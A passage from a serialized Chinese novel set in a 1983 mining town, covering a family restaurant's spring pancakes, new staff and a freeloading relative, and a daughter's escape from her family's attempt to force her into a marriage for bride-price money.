客人们自行挑选合菜,挑好了由贺明珠或贺明军卷好递上。 在店里吃的就放在盘子里,打包带走的就用油纸裹起来。 按照老礼,春饼应该在立春那天吃,所谓的春打六九头,应一句“咬春”的典故。 但1983年立春在过年前,那会儿贺明珠还忙着摆摊打游击呢,哪有工夫整这细致菜。 而且当时乌城天寒地冻的,田里盖着厚厚的雪,见不着一根绿苗,春饼要吃的时令蔬菜想买都买不着。 因此,贺明珠将这口“咬春”留到了真正的春天到来之时。 小碟子备好的合菜中,素的有鲜辛的春韭、碧绿的菠菜、银丝的豆芽,荤的有切成丝的酱肉、猪肚、熏鸡。 合菜虽简单,但素菜炝炒后清香翠绿,荤菜腌制得红润鲜甜,被薄如蝉翼的荷叶饼紧密地包裹起来,竖着送入口中。 一口咬下去,菜的爽口脆嫩,肉的鲜香酥脆,同时迸发在味蕾上,给人带来极致的味觉体验。 荷叶饼是贺明珠自制的,先用开水烫面,再用凉水和面,工序虽有些复杂,但和好的面充满弹性,切剂子擀圆后,薄薄一层,几乎能透光。 放在饼铛上烙一烙,转眼工夫就烙到面饼发黄,筷子一挑,就是一张薄薄的荷叶饼。 这饼吃起来很筋道,不会过硬到让人咀嚼困难,也不会软塌塌得没有嚼劲。 即使不包合菜,空口吃荷叶饼,也能连着吃下去好几张。 荷叶饼刷上甜面酱,放上葱丝,各样合菜来上一点,最后卷成细筒状,头尾一合,不会松散,也不会滴下汤汁,一手握着,吃起来刚刚好。 进店的客人,十个里有十个点了这道春饼。 手头宽裕的,就每道合菜都要一遍,将一个小荷叶饼塞得鼓鼓囊囊;口袋干瘪的,便从一排碟子中精挑细选出两三样,荤素搭配,也是美味。 贺明珠烙饼烙得简直忙不过来,还有源源不断的单子被送到后厨来。 田润花在旁边看了一会儿,怯怯地说:“小老板,要不我替你烙一会儿饼吧?” 贺明珠没直接答应,让她先试做了一个。 田润花经常做饭,虽然做的都是家常菜,但也很有经验,第一次烙饼就做的像模像样。 贺明珠放心地将烙饼工作移交给她,赶忙去处理堆积如山的单子去了。 田润花做事专心,埋头烙饼,将一大盆的面全用完了才意识到午饭时间已经过去了。 饭店里的客人都走光了,她摸摸肚子,这才意识到饿,她早上出门时就没吃饭,只揣了个窝窝头。 但这会儿顾不上填饱肚子,她连忙端着盆去洗碗,干净的碗都用光了,再不洗的话,晚上的客人就没有碗可用了。 这是她的第一份工作,她很珍惜。 田润花才拧开了水龙头,就被人拽住胳膊,拉得站了起来。 “洗什么碗,走,先吃饭去。”贺明珠说道。 田润花小声地说:“小老板,不用的,我带了窝窝头……” 贺明珠强硬地拉着她进了屋。 “吃什么窝窝头,走,咱们也吃春饼去!” 晚上,田润花早早就下班回了家。 贺明珠看她孩子还小,家里又只有一个大人,没等客人走完,就赶她回了家,没干完的活儿明天再说。 徐和平蹲在阴暗墙角:“不公平,这不公平……” 田润花从刘婶家接回女儿,小姑娘拉着妈妈的手,小心地问:“妈妈,你今天找工作顺利吗?” 生活艰难,小小的孩子也会看人脸色。 田润花脸上不由得漾起一个微笑。 “顺利,很顺利。” 她从衣服中取出被油纸包裹着的春饼,上面还带着体温的热度,递给了女儿。 “妈妈啊,今天遇到好人了呢。” 第76章 第76章亲戚能不能吃白饭 自从田润花来了煤矿人家上班,店里天天被打扫得干干净净,不仅分担了一部分徐和平的工作,而且还能在后厨帮一把手,减轻了贺明军的压力。 她做事勤快,每天闲不住似的,手里拿着块抹布,这儿擦擦那儿擦擦,连贼猫都被她趁着天气好时,强行按着洗了一澡。 贼猫都傻了,被人一把抄进水盆里,拿着肥皂洗洗涮涮,最后被捞出来,拧毛巾似的拧干了毛,用干布裹了起来,像个襁褓里的小宝宝,只露出一张迷茫的猫猫脸。 ——我在哪儿?我是谁?这给我干哪儿来了? 贺明珠乐不可支,招呼人围观湿身贼猫。 徐和平踱过来瞅了一眼,啧道:“洗这么干净,以后还怎么抓耗子?” 田润花低声解释:“可以抓的,弄脏了我再给它洗……饭店里猫总脏着,让客人看见了不好……” 贺明珠撵走徐和平,说:“甭搭理他,咱饭店现在哪儿还有耗子,这猫洗干净了当个招财猫挺好的,正好它也总喜欢在收银台上坐着。” 于是,贼猫就这么从捕鼠大将华丽丽地摇身一变成为招财小咪,可喜可贺。 这段时间贺明珠过得挺滋润。 饭店生意步上正轨,不需要她多操心,每晚盘一遍账,每周将现金存到银行,在存折上增加一行数字,细水长流地积攒起第一笔发家本金。 而家里的事也不用她费心,齐家红履行起大嫂职责,虽然还没办婚宴,但已经很有长嫂如母的责任感,家里家外的事情一把抓。 小到每天买菜做饭洗衣服接送贺小弟,大到拆炉子掏炕洞修房顶换瓦片,贺家兄妹几个成天早出晚归忙事业,全靠齐家红在家中张罗。 她在小院空地上腾出一片小菜园,种了些小葱韭菜,并从郊外挖了些月季回来,种在小院墙角。 此外,齐家红还在墙上引了爬山虎和牵牛花,虽然还没完全长起来,但也呈现出微薄的绿意。 一推院门,原本光秃秃乱糟糟的的院内现在绿是绿,红是红,很是有生活意趣。 寒假结束后,齐家红去了子弟小学报到,成为一名光荣的人民教师。 这年头小学课业轻松,上学晚放学早,作业也不多,老师有大把的空闲时间。 齐家红骗齐家人,打着学校要求新老师值班的旗号,每天早出晚归。 齐家人信以为真,见着齐家红交回来的第一个月工资后,更是完全不怀疑。 实际上,齐家红大部分时间都留在贺家,俨然这里已经成为她的第二个家。 贺明珠同时忙于学业和事业,每天累得晕头转向,但只要回了家就有热水热饭干净衣服,还有人温声关心她累不累,辛苦不辛苦。 贺明珠虎目含泪,捧着齐家红的手:“大嫂,你对我真好~” 齐家红笑着说:“你是我妹妹,我不对你好,还能对谁好呢?” 说着她端出一碗热乎乎的鸡蛋羹,嘱咐贺明珠吃完夜宵再睡,空着肚子睡着了难受。 舀了一勺水润光滑的鸡蛋羹,贺明珠忽然有种和自家大哥决斗的冲动。 ——打一架吧,谁打赢了,大嫂就归谁! 嘤嘤嘤,有老婆真好,她也想有个老婆…… 天气一日日地热起来了,许贵生送来的菜蔬品种也越来越多。 客人们大饱口福,贺明珠却有些发愁。 无他,饭店里没冰箱更没冰柜,新鲜蔬果不能存放太久,隔夜就开始打蔫。 没办法,贺明珠只好找村里的窑厂定做了十几个腌菜的大缸和泡菜的坛子,将吃不完的蔬菜通通丢进去腌制。 现在温度高,只用几天时间,就能腌出一缸滋味正好的酸菜和泡菜。 贺明珠捞了几颗酸菜,用水冲掉多余咸味,切成细丝。羊尾油切块下锅翻炒,榨出最后一滴油,在浓郁的羊膻味儿中,放干辣椒炒香,将酸菜丝并土豆丝下入锅中,最后再放入一把红薯粉条。 出锅后的羊油烩酸菜土豆丝散发出鲜辣酸香的味道,闻着就开胃极了。 酸菜爽口,土豆丝清脆,红薯粉吃透了汤汁,细而有嚼劲,一口吃下去,满嘴都是羊油的香气。 满满当当盛上一碗,配上几个热腾腾的杂粮馒头,唏哩呼噜一碗倒进肚子里,放下筷子就喊:“服务员,再来一碗!” 贺明珠做了一大锅的羊油烩酸菜土豆丝,连锅带菜得有二十几斤,就这都不够吃,连锅底都刮得干干净净,一根粉条都不剩。 话说红薯粉条还是许巧燕开发的新品。 新开的粉条作坊出产的粉条不仅能供应饭店使用,而且还有多余的部分能拿到集市上售卖。 由于粉条的价格不贵,而且筋道有嚼劲,做得也干净,经常有人十斤八斤地买,每次出摊没多久就售卖一空。 有的人没买着,找人打听到了粉条作坊的位置,不顾辛苦骑车过来,守着作坊买新做好的粉条。 许巧燕大受鼓舞,除了常规尺寸的粉条外,另外开发了不同尺寸的宽粉和细粉。 她还将制作粉条的原材料从土豆扩展到了红薯,家里院子里晾晒粉条的架子都快摆不下了。 现在表嫂每天跟着她做粉条,别说摔摔打打甩脸色了,每天都是笑脸迎人,白团子似的脸终于笑成无锡大阿福,眉毛弯弯眼睛弯弯,嘴巴也是弯弯的。 至于什么外嫁女不能上桌吃饭、外孙是狗吃了就走的话,表嫂是再也不提了。 虽然还对表侄没有获得至高无上的地位颇有微词,但至少她不会对着许巧燕母女撒气了。 搅家精忙着干活赚钱,许家的气氛一时间变得和谐友爱起来。 许大舅和大舅妈私下聊起来,都说多亏了贺明珠,要不是她,家里还不知道要闹到什么时候呢。 只有表哥在嘀咕,这贺家的小表妹做事有些不讲究。 收菜送菜的活儿是许大舅带着许贵生在做,造粉条的活儿是许巧燕带着自家媳妇做——这两拨人有活儿干,都能挣着钱。 偏偏就落下了他,没有赚外快的机会。 胖媳妇手里捏着钱,又生了个儿子,腰杆子都硬了起来,再不复之前刚进门时低眉顺眼的小媳妇模样,成天指手画脚的,对他不耐烦极了 表哥不想苦哈哈地光在地里刨食,寻思着,他也要找个挣钱的门道。 怎么找呢? 第二天,表哥抢了老爹的活儿,赶着驴车去了矿务局。 到了煤矿人家,他跳下车,不卸货也不喂驴,大摇大摆地往店里走,没看清人呢就喊: “明珠,给俺来一碗大棒骨!要肉多的!” 与此同时,后面跟进来个十六七岁的愣头青,也冲着后厨喊: “给我来一份扒肉!要肥,不要瘦的!” 表哥一听,还有这肥肉片子的好菜,正犹豫是吃棒骨呢,还是换成扒肉,亦或是两个都要。 旁边眼生的女服务员嘟囔了一句:“又来吃白饭了……” 表哥:??? 表哥:!!! 什么叫吃白饭?去亲戚家吃点好的怎么了! 表哥勃然大怒,恶狠狠瞪了一眼女服务员,怒道:“你咋能这么说话?俺又没吃你家的饭,要你管的多!俺们亲戚都没张嘴,哪有你一个干苦力的说话的地方?!” 那个愣头青也嚷嚷着喊:“谁吃白饭了,谁吃白饭了?我姐夫家开的店,我想吃什么就吃什么!你一个服务员还想管老板家的事!你是不是不想干了!” 表哥听到这话一愣,这台词咋和他说的这么相似呢? 他套近乎道:“你也是贺家亲戚?你姐夫是谁?明国还是明军?” 愣头青上下打量表哥一遍,从鼻子喷出一口气,轻蔑道:“谁跟你是亲戚,什么农村人……” 表哥一张黑脸涨得通红,张口结舌说不出话来。 他,他,他咋能这么说话呢! 那愣头青找了个当中的好位置坐下,把两条腿往桌子上一搭,冲着女服务员就喊: “磨蹭什么呢,上菜啊!” 表哥一看愣头青都要上菜了,自己捡了张靠边的椅子,也坐了下来,等着别人端饭过来。 这个点还没到中午开业的时间,饭店里就表哥、女服务员和愣头青三个人。 她看了两人一眼,抿着嘴,没说话,转身进了后厨。 厨房里叮铃哐啷一顿响,过了好一会儿,她端着两个碗出来了,把碗分别往两人桌上一放。 表哥筷子都拿好了,伸着脖子一看,碗里是两片咸菜。 他愣住了, 有点不知所措。 乡下人头一次学着城里人充大爷,结果叫人不软不硬地顶了回来,一时间有点懵,习惯性地畏惧起来,讷讷地说不出话。 愣头青也看清了碗里的东西,立刻大怒,举起碗作势要摔。 “谁让你给我上咸菜的!你还想不想干了!我告诉你,我今天就让我姐夫把你开除了!” “开除谁?” 话音未落,一道清亮女声响起。 这声音耳熟,表哥和愣头青同时向门外看去。 下一秒,贺明珠走了进来。 她走到愣头青跟前,冷冷瞥他一眼,说:“把碗给我放下。” 愣头青尴尬地放下了举着碗的手。 “我没说要摔碗……” 贺明珠不搭理他,对田润花说:“你做得好,对于这种白吃白喝的,就该给他们上咸菜。下次要是再敢来,咸菜也不要上了,直接打开大门,让他们吃西北风去。” 田润花响亮地“哎”了一声。 她就知道,小老板肯定是站在她这一边的! 愣头青不服气,嘟囔道:“哪有这样的亲戚,明明开着饭店,连口肉也不舍得让人吃,早知道就不让我姐嫁到你们家了……” 愣头青是齐家红的小弟。 齐家红和贺明国谈对象,他自觉是尊贵小舅子,听说贺家在一矿开了家饭店,生意红火,菜也好吃,就想耍一耍小舅子的威风。 第一次,他带着一帮朋友来煤矿人家打秋风,当时贺明军在店里,笑嘻嘻把他大手笔点的一桌子菜删到只剩一荤一素。 荤是炒鸡杂,素是拌豆芽,和旁边客人点的菜一对比,寒酸得让人泪流满面。 齐小弟坚强地和八个兄弟们分享了这两道菜,回家就和齐老头告状。 齐老头把齐家红叫来骂了几句,齐家红现在有了工作,又悄悄和贺明国结了婚,底气足得很,一点也不客气地顶了回去。 “贺家是开店做生意,小弟自己去吃饭也就算了,带一群人过去算什么?好端端一个大小伙子去占便宜打秋风,让人家看我们家的笑话吗?” 齐老头还要再骂,齐家红直接说:“他去吃也行,但我提前说好了,只要他去贺家饭店吃饭,不管他吃了多少钱,我的工资就一分也不交给家里了。” 自从齐家红上班后,每月工资是二十五块钱,全都交到了家里。 齐老头把钱看得重,一听齐家红要少交工资,立刻就急了。 但女儿大了,翅膀也硬了,打不得骂不得,打骂了就要飞走,家里现在是对她一点办法都没有。 老头气得呼哧带喘,只好去骂齐小弟:“都是你惹的事!” 齐小弟深感冤枉。 别人家的姐夫都是各种哄着捧着小舅子,什么牛皮三接头皮鞋、从上海买来的**镜、最时兴的喇叭裤,不都是小舅子想要就给买的吗? 凭什么姐夫家里开着饭店,他连去吃顿饭都不行了? 齐小弟憋了一肚子火,越想越气,一大清早就爬起来,气势汹汹地朝着贺家饭店冲过去了。 只是没想到,被不起眼的女服务员摆了一道。 齐小弟冲着贺明珠嚷嚷:“我就来吃个饭,你们就给我上咸菜,有你们家这么对亲戚的吗?!开饭店有钱了不起啊,你们这是狗眼看人低!” 贺明珠掀掀眼皮,嫌弃地说:“要不是看在你姐的份上,连咸菜都不该给你上。” 齐小弟气道:“你!” “你什么你,我哪句话说的不对?” 贺明珠打断他的话,语速极快道:“如果你是正常来吃饭的客人,我们店非常欢迎你;如果你是来找亲戚蹭饭,那就拿出你应有的礼貌来!” “你是什么人,你算老几,我家饭店的服务员是你说开除就开除的?你拿话吓唬谁呢?你有这个资格吗?” 贺明珠清清楚楚地说:“我告诉你,要不是看在你姐的份上,我早就大耳刮子伺候你了,敢在煤矿人家耍威风,你出门前没打听打听我是谁吗?你之所以还能站在这儿和我说话,全依仗你有一个好姐姐,你真应该回家给你姐磕一个。” 齐小弟被怼得插不上话来,一张脸憋得通红,不知是羞还是气。 “你你你还想打我?” “打你怎么了?打的就是你!” 贺明珠突然喝道:“把桌子给我擦干净了!” 齐小弟下意识就拿袖子去擦刚刚他弄脏的地方,擦完才反应过来。 “我凭什么听你的!” 他上前一步,怼在贺明珠面前,大声道:“你一个丫头片子,难道还真能打得过我不成?!” 狠话还没放完,齐小弟胳膊一痛,脚下腾空,一阵天旋地转后,整个人重重摔在了地上。 等恢复意识时,贺明珠面无表情的脸出现在他视野中。 “你说我能不能打得过你?” 齐小弟灰溜溜地落荒而逃了。 贺明珠拍拍手,心情不爽,这都什么事儿啊,买好果子还要强行搭一个坏果子,为什么大嫂就不能是独生女呢? 虽然在这个年代谈独生女有些不切实际,毕竟他们这一代人出生的时候正是国家鼓励生产、宣传英雄母亲的年代,一胎八个才算精忠报国。 但这算什么,齐家的精华全都浓缩在大嫂身上了吗? 贺明珠正想事儿呢,耳边忽然传来田润花兴奋的声音。 “小老板,你刚刚那招可以教我吗?” 过肩摔吗? 贺明珠收回思绪,爽快道:“当然可以!” 但示范过肩摔需要一个搭档,贺明珠望了四周一圈,在角落发现蜷缩成一团的表哥。 她奇道:“表哥,今天是什么风把你给刮来了?大舅呢?” 年后刚开始送菜的时候,表哥跟着大舅来了两趟后就不来了,嫌路远,半夜就要赶着驴车出发。怕累着驴,路上还不能一直坐在车上,走走坐坐,鞋底都要磨烂。 表哥不肯来,送菜的人就换成了大舅和许贵生,贺明珠有好一段时间没见过他了。 见表哥在,贺明珠眼前一亮,他这人皮糙肉厚耐摔打,正是练过肩摔的好助手。 “来来来,表哥,正好有事儿找你。” 表哥瑟瑟发抖,不敢过去,刚刚这个小表妹好吓人啊…… 他苦着脸,露出比哭还难看的笑容,说:“俺,俺家里还有事,俺先回去了……” 贺明珠过去拽住他的胳膊,热情地说:“急什么,吃个饭再走也不迟。” 表哥更惊恐了:“不不不,俺不吃,俺不吃……” 没拒绝成。 等表哥赶着驴车回家的时候,浑身被摔得酸痛,粗糙脸上滑过两行宽面条泪。 呜呜呜,这个小表妹怎么会比之前还要凶啊…… 齐小弟垂头丧气回了家,肚子里空空如也,被砸在地上的背也疼得很。 他去厨房找吃的,却意外听到大屋里齐大哥和齐大嫂在说话。 “……和你那个姨家都说好了?” “说好了,我姨弟明天开车回来,上午来咱们家见面。我姨家有钱,准备了两条烟两条酒,糖果饼干,还有二百块钱的红包。” “那彩礼怎么算?” “就按矿务局的标准,人家愿意出两千块呢。我姨家里是新房,新打的家具,电视冰箱洗衣机和三十六条腿都备齐了,就等着人进门。” 齐小弟听了心里嘀咕,心想这彩礼给的可够多的,大哥大嫂这是要给哪家姑娘介绍对象?也没听齐老头齐老太提过啊…… 他正猜着呢,大屋里又传来说话声。 “别告诉你妹要相亲的事,就说你妈病了,让她明天上午和学校请假。” “行,你也别去上班了,在家准备着,要是不行,你就把门锁了。生米煮成熟饭,由不得她不嫁!” 听到这儿,齐小弟悚然一惊。 这是要给大姐介绍对象! 可大姐不是已经有对象了吗?大哥大嫂这又是要唱哪出戏? 想到那一句“生米煮成熟饭”,齐小弟心里隐隐泛起不祥的预感。 一个不小心,他把灶台上斜放的锅盖碰到了地上,发出“哐啷”一声巨响。 “谁?外面是谁?” 齐大哥和齐大嫂急急从大屋里走出来,刚好与从厨房出来的齐小弟碰了个脸对脸。 “大哥,大嫂……” 齐小弟一肚子疑问,又不知从哪儿说起,张了张嘴,说不出话来。 齐大哥问他:“你都听到了?” 齐小弟蔫蔫地“嗯”了一声。 齐大哥和齐大嫂对视一眼,齐大嫂率先转身回屋,齐大哥伸手把齐小弟拉进了大屋。 他把齐小弟摁坐在炕上上,苦口婆心地说:“小弟,我就跟你说实话吧,咱家是真没钱了,咱爸内退工资低,咱妈没工作,家里全靠我和你大嫂这点工资撑着。你将来结婚怎么办,我想想都发愁。要是没钱,好姑娘都不找你结婚,岳家那关你也过不去。” 齐小弟低着 头,没说话。 齐大哥眼睛一转,又说:“弟啊,家里的情况你也知道,爸妈年纪越来越大了,隔三差五就要上医院看病,咱们家的钱哪经得起这么花。可要不掏这钱,咱爸咱妈的身体……唉,也不知道还能不能熬到你成家的那一天。” 齐小弟身形晃了晃,还是没说话。 齐大嫂搡开自家男人,一屁股坐在齐小弟对面,尖着嗓子说: “小弟,这话论理不该我这个做大嫂的说,可你姐实在太不像样,家里都这样了,她还只顾着自己,不顾爹妈,更不顾兄弟!那贺家是什么破落户,爹妈全死了,贺老大拖着一串弟妹,穷得叮当响,现在还开什么小饭店,连投机倒把的买卖都敢干!咱家一向根正苗红,清清白白,可不能和这种家庭有牵扯!” “我和你大哥给她找了个好对象,家里有钱,有正式工作,彩礼也给的大方,咱爸妈都同意了。现在你姐还不知道,但要是她知道了,她嘴上不说,心里也是高兴的!” 齐小弟终于开口。 “那子弟小学的工作呢……” 齐大哥说:“什么工作,那是贺家给你姐的赔偿!他贺明国和我妹妹谈了这么久的对象,耽误了家红这么多年,就该拿工作补偿她!” 齐小弟心里乱糟糟的,不知道该不该相信大哥大嫂。 他本能地觉得他们做的事不对,但被两个人你一言我一语地说了半天,似乎他们说得也很有道理。 更何况,爸妈都同意了…… 齐小弟忐忑不安地答应大哥大嫂,不会把这件事告诉大姐。 可夜里,他在炕上辗转反侧,怎么也睡不着,被齐老头骂了几句“你身上长虱子了!” 快到天亮时,他才迷迷糊糊睡了过去。 睡梦中,齐小弟忽然听到一声凄厉的尖叫! 第77章 第77章齐家的善与恶 齐小弟一骨碌从炕上爬起来。 是大姐在尖叫! 出事了! 他鞋子也顾不上穿,两只手提着裤子,光着脚就要往炕下蹦。 “去哪儿,回来!” 齐小弟的手刚碰到房门把手,身后忽然传来齐老头的一声断喝。 他转头看去,小屋没开灯,从窄窗里透入的有限光线,将屋内照得昏昏沉沉。 齐老头衣着整齐,盘腿坐在炕头,手里拿着报纸卷的烟叶子,叭叭地抽着自制卷烟。 齐小弟顾不得想亲爹怎么今天这个点还在家里,毕竟齐老头平时起床吃饭后,就出门找老伙计下棋打牌,不到饭点不回家。 他急急地说:“爸,你听,是大姐的声音!” 齐老头阴沉着脸,说:“我知道。” 齐小弟急得要跳脚:“你知道怎么还在屋里坐着?!” 齐老头掀起眼皮看这个小儿子一眼,语气沉沉:“让你别出去就是别出去,听话。” 在最后的“听话”两个字上,他的语气放重了些,是命令,而不是商量。 齐小弟下意识停住了开门的动作,老头子宠他,但老头子也是真打他,从小到大,不听话就是一个耳光扇过来,打得他脑子嗡嗡的。 即使现在长成了一个比齐老头还要高一头的年轻小伙子,他还是会怕,像一头被铁链拴习惯了的小象,只在小圈子里活动。 齐小弟身体惯性地停住不动,可脑子里乱糟糟的,忽然想起昨天听到的大哥大嫂的话。 “爸,你是不是知道大哥他们要逼大姐相亲?” 齐老头垂着眼睛,老年人特有的一层又一层的眼皮耷拉下来,不说话,卷烟上明明灭灭的火光。 什么都没说,又像是什么都说了。 齐小弟不懂,只是急道:“爸!” 齐老头终于开口:“知道什么?我不知道。你老实点,不该管的事不要瞎管!” 齐小弟似乎明白了,似乎又不明白。 “可,可那是大姐啊!她是你的亲生女儿!” 屋内陷入难堪的沉默中,只能听到干燥烟叶燃烧时噼里啪啦的声音。 忽然,又是一声尖叫! “你别碰我!妈!妈!爸!” 听到声音,齐小弟握着门把的手越来越用力,手背上青筋毕现。 炕头上,齐老头喊他:“过来,坐这儿来。” 齐小弟转头看了齐老头一眼,很难说那一眼中藏着怎样的情绪。 齐老头敲烟灰的动作都顿了一下。 “我不管你和大哥他们在想什么,可那是我姐!” 终于,下一秒,齐小弟用力拽开了小屋房门。 虚空中,小象向前一步,迈出了小圈子,绷断了绑在脚腕上的铁链。 随着门开,澎湃的春光从外面铺天盖地倾泻进了小屋,将屋内一切照得纤毫毕现。 齐老头下意识举起胳膊,遮住被光晃到了的眼睛,模糊视线中,只看到齐小弟光着脚向外奔去的背影。 屋门自动合上,小屋又陷入一片昏暗中。 齐小弟出了小屋,这才看到大屋门口围了好几个人。 齐老太举着两只手,啪啪啪地用力拍门,一边拍一边喊:“开门!开门!放我闺女出来!你这是要吃枪子的!快开门!” 身边齐大嫂拽着她胳膊,试图把她拉走。 “妈,你这是做什么?快放手,不是都跟你说了吗,我姨弟家庭条件好,家红嫁过去不吃亏!” 也不知齐老太瘦小的身体上哪里迸发出的力气,竟硬是赖在门口不动,任凭又高又壮的齐大嫂怎么拉她都拉不动。 “你妹妹有对象,有对象了!她是要和贺家结婚的!谁让你把你姨弟带家来的?!你在这里装什么好人,你打量我老了就不知道你肚子里那点坏心眼吗?!” 拍不开门,齐老太气得指着齐大嫂鼻子直骂: “你这个有娘生没娘养的畜生!你当我不知道你们是要害我闺女?你们做哥嫂的就这么想把亲妹子卖个好价钱?!我告诉你,家红的老子娘还在呢,轮不到你们当家做主!你把我闺女放出来!放出来啊!” 齐老太的尾音凄厉极了,几乎劈了叉,像是老鸦护窝最后的惨叫声。 齐大嫂也恼了,骂道: “你在这里装什么亲娘,全家谁不知道,齐家红是绝不可能嫁到贺家的,家里辛辛苦苦养大的闺女,他贺家一分钱彩礼不掏就想娶走,我告诉你,没门儿!要不是你个老婆子作妖,贺家连想都不要想!你为了你闺女有个工作,对家里是一点不顾,我实话和你说,别说你大儿子了,就连你老头子和小儿子都对你有意见!” 听到这里,齐老太如遭雷劈,整个人都傻了。 合着全家都知道,就瞒着她和家红两个人? 齐大嫂乘胜追击:“你好好想想,将来到底是谁给你养老送终?别为了个要嫁出去的闺女,和自家儿子离了心!以后大儿子不给你养老,小儿子也不管你,你出去讨饭都吃不着热乎的,死了也没人埋,更没人给你上坟烧纸!” 齐老太哆哆嗦嗦地哭了,老泪纵横,浑浊的眼泪淌在满脸的沟沟壑壑上, 她张了张嘴,苍老干涸的喉咙里发不出一声哽咽。 齐大嫂自以为胜利,冷眼旁观,也不去拉齐老太了,就那么看着她哭。 这下老东西还不服软? 但出乎齐大嫂意料的是,齐老太一边哭,一边缓慢抬起手,继续拍打着屋门,哀求道: “开门,开门,我求求你了,你放过我闺女吧,我给你当牛做马,我给你当奴才,你开开门吧……” 还敢拍门?! 齐大嫂一怒,拽着齐老太胳膊就往外拖,直拽着她摔倒在地,丝毫不顾这是一个六旬老人。 眼见齐老太要被拖走,说时迟那时快,齐小弟抓着一根用来顶门的粗木棍冲了上来。 “放开我妈!” 闷闷两声响,木棍砸在人身上,齐大嫂痛叫一声,吃痛松手撒开了齐老太。 “妈,你没事吧?” 齐小弟急忙问道,但齐老太却抓着小儿子的手,急得词不成 句:“你姐,你姐!” 齐小弟说:“妈,别担心,我马上就救我姐出来!” 他放下木棍,捡起板砖,退后两步,抡圆了胳膊,朝着大屋明亮的窗户砸了过去! 玻璃应声而碎,他举起木棍,将破碎的面积扩得更大了些,直到能容一个人进去。 接着,他拿衣服裹住头脸,扒着墙,跳起来从破窗里钻了进去。 大屋内的两个人被这突如其来的动静惊到,暂停了所有动作。 齐小弟狼狈地爬进大屋,抬眼就看到他姐拿着一把扫炕的扫帚挡在身前,满脸的泪痕。 见到是他,齐家红吃惊极了,说:“小弟?” 接着,她带着哭腔说了一句:“你怎么才来啊……” 听到这话,齐小弟脑子嗡得一声,站起来就冲对面那个陌生的男人冲了过去。 “谁让你碰我姐的!” 男人满头满脸的红痕,都是之前被齐家红拿扫帚打的,毫无防备下,险些连他眼睛也给戳瞎。 正是恼羞成怒的时候,见一个大小伙子冲进来,一腔怒火有了发泄的地方。 “操你妈了,不是你家让我来的?日个球,当老子是好欺负的!” 他生得粗黑矮壮,拳头有力,又经常在路上混,和车匪路霸打交道,在打架上很有些手段。 齐小弟全凭小年轻的一腔热血,实际上压根不是男人的对手,三下两下就被对方摁在地上暴揍。 齐家红急得不行,拿着扫帚疯了似的打在男人身上。 “不许打我弟!你不许打他!” 但男人这会儿打红了眼,扫帚打上去只当挠痒痒,根本不管不顾,只将两手握成拳头,一拳又一拳冲着齐小弟脸上招呼。 齐家红扔下扫帚,满屋子找打人的家伙儿,但居家生活,哪有那么多的利器。 她在柜子上的针线簸箩里看到一把老式剪刀,刀头太久没磨,已经钝了,连肉皮都戳不破。 可再没有其他合适的工具了,齐家红心一横,抓起剪刀就要朝男人冲过去。 这时,屋外的齐老太把木棍扔进来,喊道:“接着!” 齐家红眼前一亮,拿起了木棒,高高抡起,冲着男人的脑袋狠狠砸了下去! 嘭的一声,男人动作停顿,下一秒,一声不吭地栽倒在地,砸在了齐小弟身上。 齐家红慌忙推开男人,把齐小弟从他身下拉出来。 齐小弟被打得鼻青脸肿,眼窝黑青,两条鼻血留下来,口齿不清地说:“姐,我来救你了……” “我知道,我知道……” 齐家红抹着眼泪,把弟弟从地上架起来,走到门口,打开了反锁着的屋门。 齐老太正等在门外,忙不迭地迎上来,心疼得说不出话来,抖着手,拿手帕给齐小弟擦脸上的血污,又抬起另一只手,笼了笼齐家红乱糟糟的长发。 齐大嫂远远地站在一边,忌惮地看着这对姐弟。 刚才她被齐小弟打了两棍,又眼睁睁看着齐家红把她姨弟给打昏过去。她平时在家里嚣张跋扈惯了,可现在还真有点怕。 见俩人离开了大屋,她才小跑着冲进屋里,不住地摇晃她姨弟。 “你醒醒,快醒醒!哎呀,这齐家红把人打坏了,这可怎么办啊?家里这回要摊上事儿了!还有我家的玻璃,今天晚上还怎么让人睡觉啊?!” 齐老太听到了她的话,冷冷道:“该怎么办,就怎么办!” 齐家红架着齐小弟,一脚深一脚浅,朝院门的方向走去。 小屋的门嘎吱一声响,齐老头推门出来,咳了两声,沉沉道: “你们要去哪里?家里被你们弄成了现在的烂摊子,你们就想一走了之吗?” 齐小弟的脸已经开始肿起来了。 他艰难地扭着头,对齐老头说:“如果不是你们非要逼着大姐和大嫂家的姨弟相亲,还把她和那个人关在屋子里,事情也不会变成这样。” 齐老头骂他:“闭嘴,哪有你说话的份!” 齐小弟悻悻地不说话了。 齐老头又骂齐家红:“你是怎么做闺女的?不听我的话,也不听你大哥大嫂的话,为了自己日子过得舒服,不要彩礼要工作,谁家有你这样不孝顺的闺女!” 齐老太试图劝解:“不是闺女的错,是我,是我想让她有个班上,不然去了婆家也被人看不起……要不然我和贺家说说,让他们补点彩礼钱?再说,闺女现在不是交工资了吗?” 齐老头指着齐老太骂:“闭嘴!要不是你自作主张,和贺家说什么要工作,哪会闹成现在这样!废物!养你有什么用!一辈子吃老子的喝老子的,临了临了还给老子使绊子!当初就应该听我娘的不娶你!” “还说交工资,当初说的是一个月五十块,现在才拿到二十五块,一年也才三百块,要几年才能把彩礼钱挣回来?!别人家的闺女上了班就交工资,工资是工资,彩礼是彩礼,你倒好,工资彩礼混一起,合着就让自家人吃亏!” 齐老太被骂得不敢作声,低着头抹眼泪。 齐家红哭着说:“我当你们是亲爹亲哥嫂,你们却只想着拿我卖钱!现在是新中国了,婚姻自由,我是个独立的人,你们谁也别想拿我的婚事赚钱!” 齐老头怒道:“我管你是新中国还是旧中国,中国人的老礼就是孝大过天!只要我一天是你的老子,你就得一天听我的话!” 齐家红不听他的,架着齐小弟往门外走。 “不许走!” 齐老头怒道:“你今天敢出了这个门,以后就不要再回来了!” 听到这句话,齐家红的脚步停了下来。 她转过身,仔仔细细看向院子的每个角落。 从破了窗户的大屋,到院子里搭着的简陋棚子,再到逼仄狭小的小屋,以及站在小屋前的齐老头。 齐家红擦干了眼泪,平静地说: “这个家,我不会再回来了。” 说罢,她架着齐小弟,推开院门,头也不回地离开了。 身后传来齐老头的咆哮声:“滚,都给我滚!有本事一辈子都别回这个家!” 这天,贺家迎来了两位不速之客。 贺明国是前一天的夜班,正在家补觉时,忽然听到院中有人走动的声音。 他心中奇怪,披衣下炕,推门却见院中是齐家红和齐小弟。 齐家红头发蓬乱,满脸泪痕,齐小弟光着脚,脸上被打得青肿,眼睛眯成了一条缝。 贺明国一惊,急忙冲上去,握住齐家红的手,紧张地上下观察。 “怎么了,这是怎么了?你们遇到抢钱的了?” 